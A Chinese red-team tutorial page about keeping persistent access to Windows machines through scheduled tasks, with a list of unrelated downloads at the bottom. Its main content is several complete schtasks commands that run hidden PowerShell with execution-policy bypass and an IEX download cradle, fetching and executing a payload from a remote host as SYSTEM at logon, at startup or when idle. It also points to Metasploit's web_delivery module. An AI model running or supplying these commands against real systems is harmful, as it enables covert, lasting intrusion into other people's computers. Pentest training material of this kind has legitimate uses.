Window权限维持(二):计划任务1
需积分: 0 195 浏览量
更新于2022-08-03
收藏 1.66MB PDF 举报
### Window权限维持(二):计划任务1
#### 一、计划任务概述
Windows系统提供了强大的计划任务功能,可以通过schtasks.exe这个内置工具来安排程序或者脚本在指定的时间运行。这一特性不仅可以用于日常的系统维护工作,还能够成为Red Team在渗透测试中的一个重要武器。特别是对于那些寻求在目标系统上建立持久连接的操作者来说,计划任务提供了一种高效而隐蔽的方式。
#### 二、计划任务的持久化机制
**1. 持久化原理**
持久化是指在目标系统上长期保持对系统的控制能力,即使在系统重启后也能自动恢复。在Red Team操作中,常见的持久化方式包括但不限于服务安装、启动项添加、计划任务等。其中,计划任务由于其灵活性和隐蔽性,成为了非常受欢迎的选择之一。
**2. 执行方式**
计划任务可以通过多种方式执行,常见的有:
- **用户登录时执行**:当用户登录到系统时,计划任务将会被执行。
- **系统启动时执行**:系统启动时触发计划任务。
- **用户空闲时执行**:如果用户长时间未进行任何操作,系统进入空闲状态时执行任务。
**3. 支持的有效载荷类型**
计划任务可以执行不同类型的有效载荷,包括但不限于:
- **可执行文件**:如.exe文件。
- **Powershell脚本**:可以执行复杂的命令和逻辑。
- **Scriptlet**:一种小型脚本。
**4. 操作流程**
为了创建一个计划任务,可以使用schtasks命令。具体步骤如下:
- **创建计划任务**
```cmd
schtasks /create /tn TaskName /tr "C:\Path\To\Payload" /sc onlogon /ru System
```
其中:
- `/tn TaskName`:定义任务名称。
- `/tr "C:\Path\To\Payload"`:定义要执行的任务路径。
- `/sc onlogon`:指定任务在用户登录时执行。
- `/ru System`:使用System账户权限执行。
#### 三、示例与实践
以下是一些具体的示例命令,用于创建不同的计划任务:
**1. 用户登录时执行**
```cmd
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://10.0.2.21:8080/ZPWLywg'))'" /sc onlogon /ru System
```
**2. 系统启动时执行**
```cmd
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://10.0.2.21:8080/ZPWLywg'))'" /sc onstart /ru System
```
**3. 用户空闲时执行**
```cmd
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://10.0.2.21:8080/ZPWLywg'))'" /sc onidle /i 30
```
**4. 不同架构下的实现**
针对不同架构的系统,命令略有差异:
- **x64架构**:
```cmd
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://10.0.2.21:8080/ZPWLywg'))'" /sc onlogon /ru System
```
- **x86架构**:
```cmd
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://10.0.2.21:8080/ZPWLywg'))'" /sc onlogon /ru System
```
#### 四、工具支持
在实际操作中,还可以借助第三方工具来简化流程。比如,Metasploit框架就提供了`exploit/multi/script/web_delivery`模块来托管和生成各种格式的有效载荷。通过设置payload和监听地址等参数,可以快速创建有效的计划任务。
#### 五、总结
通过上述介绍可以看出,Windows系统内置的计划任务功能为Red Team提供了强大的工具箱,可以轻松地在目标系统上建立持久连接。然而,值得注意的是,这些技巧和工具也应当谨慎使用,确保只在合法授权的情况下实施,以避免任何法律风险。此外,在实际操作过程中,还需要考虑到系统的安全性和稳定性,合理规划和实施计划任务,以达到最佳效果。
SLHJ-Translator
- 粉丝: 34
- 资源: 297
最新资源
- 后端pythonapp.py
- 另类Simulink模型自动化修改方式,能够对模型信号与参数名称的快速自动化调整,自动化脚本能够有效地对 Simulink 模型进行批量处理,例如对模型中的参数,信号进行批量修改,大大提高工程师的工作
- wps 数据表云端数据下载到本地 下载更新删除上传
- Sourcetree软件 Mac系统上的git管理工具
- Labview用面向对象操作者架构实现的模拟树莓派可视化编程,程序简洁,框架适合大型项目开发和维护,完整源代码,可运行,Labview2018版,对Labivew进阶编程也会有极大帮助和触发,适合有一
- 基于STM32的直流电机PID调速系统,源码+仿真+报告全套 本套资料是一套基于STM32的直流电机PID调速系统,包括了源码、Proteus仿真、汇报PPT和33页的word报告 该系统在STM3
- 基于图像处理的城市河流水位测量方法研究与实现-复杂天气条件下的精准监控系统
- WebGL与Three.js实现新年3D烟花效果HTML页面
- COMSOL采动应力影响下的煤层瓦斯抽采流固耦合模型
- 基于小程序的微信点餐系统源码(小程序毕业设计完整源码).zip
- 锂电池matlab建模仿真 基于二阶RC等效电路模型的matlab电池仿真 锂电池等效电路Simulink建模二阶RC模型 两个工况:HPPC CC
- 20250101 3S科学及其在灾害监测与预警中应用
- 风光储三相PQ控制并网发电系统参考文献 附带对应的参考文献结合仿真学习 1光伏模块:采用电导增量法实现最大功率的跟踪,参考文献给的文献第3章 2蓄电池储能:采用经典双闭环控制直流母线电压外
- 在visual studio code中运行和调试Java功能详解.pdf
- 欧姆龙RFID模块-V680S-HMD63的EDS文件
- html+css+js网页设计 美食 美食天下26个页面